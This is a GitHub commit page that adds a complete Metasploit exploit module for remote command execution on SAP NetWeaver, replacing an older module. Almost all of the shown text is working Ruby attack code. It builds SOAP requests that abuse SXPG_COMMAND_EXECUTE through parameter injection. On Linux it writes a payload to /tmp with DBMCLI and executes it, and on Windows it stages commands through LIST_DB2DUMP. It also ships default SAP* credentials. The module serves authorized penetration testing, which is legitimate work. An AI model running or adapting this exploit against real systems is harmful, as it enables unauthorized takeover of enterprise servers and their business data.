Skip to content

Commit 2d5556f

Browse files
committed
Merge pull request #10 from jvazquez-r7/sap_soap_rfc_sxpg_command_exec_multi
sap_soap_rfc_sxpg_command_exec multi platform and clean up
2 parents f16c809 + e939de5 commit 2d5556f

File tree

2 files changed

+204
-162
lines changed

2 files changed

+204
-162
lines changed

modules/exploits/linux/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb

Lines changed: 0 additions & 162 deletions
This file was deleted.
Lines changed: 204 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,204 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Exploit::Remote
28+
29+
Rank = GreatRanking
30+
31+
include Msf::Exploit::CmdStagerVBS
32+
include Msf::Exploit::EXE
33+
include Msf::Exploit::Remote::HttpClient
34+
35+
def initialize
36+
super(
37+
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution',
38+
'Description' => %q{
39+
This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
40+
SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
41+
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
42+
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
43+
},
44+
'References' =>
45+
[
46+
[ 'URL', 'http://labs.mwrinfosecurity.com/blog/2012/09/03/sap-parameter-injection' ],
47+
[ 'URL', 'https://service.sap.com/sap/support/notes/1764994' ],
48+
[ 'URL', 'https://service.sap.com/sap/support/notes/1341333' ]
49+
],
50+
'DisclosureDate' => 'May 8 2012',
51+
'Platform' => ['win', 'unix'],
52+
'Targets' => [
53+
[ 'Linux',
54+
{
55+
'Arch' => ARCH_CMD,
56+
'Platform' => 'unix'
57+
#'Payload' =>
58+
#{
59+
#'DisableNops' => true,
60+
#'Space' => 232,
61+
#'Compat' =>
62+
#{
63+
#'PayloadType' => 'cmd',
64+
#'RequiredCmd' => 'perl ruby',
65+
#}
66+
#}
67+
}
68+
],
69+
[ 'Windows x64',
70+
{
71+
'Arch' => ARCH_X86_64,
72+
'Platform' => 'win'
73+
}
74+
]
75+
],
76+
'DefaultTarget' => 0,
77+
'Privileged' => false,
78+
'Author' =>
79+
[
80+
'nmonkee'
81+
],
82+
'License' => MSF_LICENSE
83+
)
84+
register_options(
85+
[
86+
Opt::RPORT(8000),
87+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
88+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
89+
OptString.new('PASSWORD', [true, 'Password', '06071992'])
90+
], self.class)
91+
register_advanced_options(
92+
[
93+
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]),
94+
], self.class)
95+
end
96+
97+
def send_soap_request(data)
98+
res = send_request_cgi({
99+
'uri' => '/sap/bc/soap/rfc',
100+
'method' => 'POST',
101+
'data' => data,
102+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
103+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
104+
'ctype' => 'text/xml; charset=UTF-8',
105+
'headers' => {
106+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
107+
},
108+
'vars_get' => {
109+
'sap-client' => datastore['CLIENT'],
110+
'sap-language' => 'EN'
111+
}
112+
})
113+
return res
114+
end
115+
116+
def build_soap_request(command, sap_command, sap_os)
117+
data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n"
118+
data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n"
119+
data << "<env:Body>\r\n"
120+
data << "<n1:SXPG_COMMAND_EXECUTE xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n"
121+
data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>\r\n"
122+
data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>\r\n"
123+
data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>\r\n"
124+
data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>\r\n"
125+
data << "</n1:SXPG_COMMAND_EXECUTE>\r\n"
126+
data << "</env:Body>\r\n"
127+
data << "</env:Envelope>"
128+
129+
return data
130+
end
131+
132+
def check
133+
data = rand_text_alphanumeric(4 + rand(4))
134+
res = send_soap_request(data)
135+
if res and res.code == 500 and res.body =~ /faultstring/
136+
return Exploit::CheckCode::Detected
137+
end
138+
return Exploit::CheckCode::Safe
139+
end
140+
141+
def exploit
142+
if target.name =~ /Windows/
143+
linemax = datastore['PAYLOAD_SPLIT']
144+
vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250
145+
print_status("#{rhost}:#{rport} - Sending SOAP SXPG_COMMAND_EXECUTE request")
146+
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
147+
elsif target.name =~ /Linux/
148+
file = rand_text_alphanumeric(5)
149+
stage_one = create_unix_payload(1,file)
150+
print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...")
151+
res = send_soap_request(stage_one)
152+
if res and res.code == 200 and res.body =~ /External program terminated/
153+
print_good("#{rhost}:#{rport} - Payload dump was successful")
154+
else
155+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed")
156+
end
157+
stage_two = create_unix_payload(2,file)
158+
print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...")
159+
send_soap_request(stage_two)
160+
end
161+
end
162+
163+
def create_unix_payload(stage, file)
164+
command = ""
165+
if target.name =~ /Linux/
166+
if stage == 1
167+
my_payload = payload.encoded.gsub(" ","\t")
168+
my_payload.gsub!("&","&amp;")
169+
my_payload.gsub!("<","&lt;")
170+
command = "-o /tmp/" + file + " -n pwnie" + "\n!"
171+
command << my_payload
172+
command << "\n"
173+
elsif stage == 2
174+
command = "-ic /tmp/" + file
175+
end
176+
177+
end
178+
179+
return build_soap_request(command.to_s, "DBMCLI", "ANYOS")
180+
end
181+
182+
def execute_command(cmd, opts)
183+
command = cmd.gsub(/&/, "&amp;")
184+
command.gsub!(/%TEMP%\\/, "")
185+
data = build_soap_request("&amp;#{command}", "LIST_DB2DUMP", "Windows NT")
186+
begin
187+
res = send_soap_request(data)
188+
if res and res.code == 200
189+
return
190+
else
191+
if res and res.body =~ /faultstring/
192+
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>})
193+
0.upto(error.length-1) do |i|
194+
vprint_error("#{rhost}:#{rport} - Error #{error[i]}")
195+
end
196+
end
197+
print_status("#{res.code}\n#{res.body}")
198+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command")
199+
end
200+
rescue ::Rex::ConnectionError
201+
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect")
202+
end
203+
end
204+
end

0 commit comments

Comments
 (0)